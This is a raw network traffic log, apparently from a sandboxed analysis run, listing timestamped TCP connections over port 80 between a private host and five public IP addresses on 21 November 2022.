Nov 21, 2022 19:21:39.841506004 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:39.841573954 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:40.016571999 CET	80	49852	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:40.016932964 CET	80	49852	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:40.016961098 CET	80	49852	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:40.017119884 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:40.026923895 CET	80	49852	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:40.027199030 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:40.846019030 CET	49852	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:41.861543894 CET	49853	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:42.050276995 CET	80	49853	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:42.050669909 CET	49853	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:42.050671101 CET	49853	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:42.239622116 CET	80	49853	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:42.239716053 CET	80	49853	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:42.239768982 CET	80	49853	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:42.240283012 CET	49853	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:43.064136028 CET	49853	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.079930067 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.255084991 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.255316973 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.255990028 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.256022930 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.256071091 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.431344032 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431438923 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431495905 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431548119 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431606054 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431605101 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.431659937 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431735992 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.431806087 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.431952000 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.432089090 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.485754967 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.607755899 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.607850075 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.607908010 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.607955933 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.607988119 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.608001947 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.608059883 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.608093977 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.608114958 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.608160019 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:44.608171940 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783515930 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783617973 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783683062 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783747911 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783809900 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783870935 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783930063 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.783989906 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.784054995 CET	80	49854	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:44.784219027 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:45.266779900 CET	49854	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.282521963 CET	49855	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.471200943 CET	80	49855	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:46.471414089 CET	49855	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.471515894 CET	49855	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.659704924 CET	80	49855	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:46.659885883 CET	80	49855	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:46.659972906 CET	80	49855	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:46.660348892 CET	49855	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.660514116 CET	49855	80	192.168.11.20	103.63.2.175
Nov 21, 2022 19:21:46.848727942 CET	80	49855	103.63.2.175	192.168.11.20
Nov 21, 2022 19:21:59.937493086 CET	49856	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:00.103290081 CET	80	49856	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:00.103486061 CET	49856	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:00.103615999 CET	49856	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:00.269747019 CET	80	49856	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:00.395703077 CET	80	49856	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:00.395788908 CET	80	49856	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:00.396085024 CET	49856	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:01.107141972 CET	49856	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:02.122792959 CET	49857	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:02.286294937 CET	80	49857	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:02.286623001 CET	49857	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:02.286689997 CET	49857	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:02.456500053 CET	80	49857	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:02.560440063 CET	80	49857	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:02.560517073 CET	80	49857	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:02.560748100 CET	49857	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:03.294096947 CET	49857	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.309818983 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.491302967 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.491565943 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.492155075 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.492257118 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.659599066 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.659965992 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.660003901 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.660068035 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.660115004 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.660300016 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.660435915 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.660512924 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.826368093 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826476097 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826550007 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826595068 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826630116 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.826667070 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826714993 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826781988 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826812983 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.826828003 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826895952 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.826931953 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:04.826942921 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.827259064 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.827306986 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.827471972 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.828428984 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.872252941 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993046045 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993103027 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993413925 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993496895 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993539095 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:04.993886948 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:05.127295017 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:05.127360106 CET	80	49858	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:05.127607107 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:05.496679068 CET	49858	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:06.514892101 CET	49859	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:06.681525946 CET	80	49859	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:06.681818962 CET	49859	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:06.681900024 CET	49859	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:06.848881960 CET	80	49859	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:06.958236933 CET	80	49859	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:06.958314896 CET	80	49859	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:06.958769083 CET	49859	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:06.958879948 CET	49859	80	192.168.11.20	66.29.151.40
Nov 21, 2022 19:22:07.125037909 CET	80	49859	66.29.151.40	192.168.11.20
Nov 21, 2022 19:22:12.180272102 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:12.199503899 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.200035095 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:12.201611042 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:12.219551086 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.220195055 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.220256090 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.220271111 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.220446110 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:12.220535994 CET	80	49860	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:12.220732927 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:13.213915110 CET	49860	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:14.229393959 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:14.247967005 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.248223066 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:14.248290062 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:14.267623901 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.268018961 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.268090963 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.268141985 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.268193007 CET	80	49861	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:14.268307924 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:14.268393993 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:15.260185957 CET	49861	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.276060104 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.294883966 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.295126915 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.295747995 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.295847893 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.313580990 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.313673973 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.313726902 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.313777924 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.313836098 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.313852072 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.313895941 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.313900948 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.314052105 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.314121008 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.314282894 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.314280987 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.314448118 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.314635038 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.332077026 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332146883 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332191944 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332231045 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332362890 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.332427979 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332454920 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.332637072 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332681894 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332724094 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.332976103 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350311041 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350374937 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350416899 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350456953 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350496054 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350900888 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.350958109 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.351340055 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.351399899 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.351445913 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.351490021 CET	80	49862	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:16.351569891 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:16.351634979 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:17.306725025 CET	49862	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.322211981 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.339807987 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.340022087 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.340101004 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.357633114 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.359204054 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.359293938 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.359318018 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.359340906 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:18.359649897 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.359993935 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.360090971 CET	49863	80	192.168.11.20	194.245.148.189
Nov 21, 2022 19:22:18.377341986 CET	80	49863	194.245.148.189	192.168.11.20
Nov 21, 2022 19:22:23.405531883 CET	49864	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:23.422355890 CET	80	49864	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:23.422605991 CET	49864	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:23.422699928 CET	49864	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:23.439624071 CET	80	49864	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:23.439994097 CET	80	49864	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:23.440089941 CET	80	49864	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:23.440263987 CET	49864	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:24.430252075 CET	49864	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:25.445624113 CET	49865	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:25.462460041 CET	80	49865	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:25.462950945 CET	49865	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:25.463323116 CET	49865	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:25.480389118 CET	80	49865	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:25.480854988 CET	80	49865	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:25.480942011 CET	80	49865	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:25.481190920 CET	49865	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:26.476563931 CET	49865	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.492541075 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.509696007 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.509953976 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.510642052 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.510679960 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.510754108 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.527748108 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.527765036 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.527971029 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.527985096 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.528033018 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.528053045 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.528070927 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.528269053 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.528439999 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.544975996 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.544995070 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.545203924 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.545217037 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.545243025 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.545248032 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.545319080 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.545505047 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.545644045 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:27.562403917 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.562480927 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.562530041 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.562572956 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.564583063 CET	80	49866	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:27.564888000 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:28.522906065 CET	49866	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.538532972 CET	49867	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.555443048 CET	80	49867	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:29.555730104 CET	49867	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.555793047 CET	49867	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.572669029 CET	80	49867	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:29.572772980 CET	80	49867	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:29.572829962 CET	80	49867	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:29.573117018 CET	49867	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.573194027 CET	49867	80	192.168.11.20	185.101.158.239
Nov 21, 2022 19:22:29.590238094 CET	80	49867	185.101.158.239	192.168.11.20
Nov 21, 2022 19:22:43.015100002 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.177673101 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.178009033 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.178184032 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.341813087 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.512882948 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.512993097 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513070107 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513151884 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513215065 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513283968 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513295889 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.513348103 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513391018 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.513415098 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513490915 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513545036 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513569117 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.513602018 CET	80	49868	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:43.513629913 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.513804913 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:43.513804913 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:44.191385984 CET	49868	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.207098007 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.370068073 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.370419979 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.370502949 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.533473969 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.744667053 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.744779110 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.744854927 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.744926929 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.744990110 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745013952 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.745064974 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745130062 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745192051 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745263100 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745268106 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.745268106 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.745320082 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745377064 CET	80	49869	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:45.745477915 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:45.745568037 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:46.378427982 CET	49869	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.394020081 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.555174112 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.555396080 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.555999994 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.556061983 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.717585087 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717679024 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717734098 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717792988 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717827082 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.717849016 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717905998 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.717959881 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.718014956 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.718014002 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.718214989 CET	80	49870	50.87.192.144	192.168.11.20
Nov 21, 2022 19:22:47.718215942 CET	49870	80	192.168.11.20	50.87.192.144
Nov 21, 2022 19:22:47.718276024 CET	80	49870	50.87.192.144	192.168.11.20
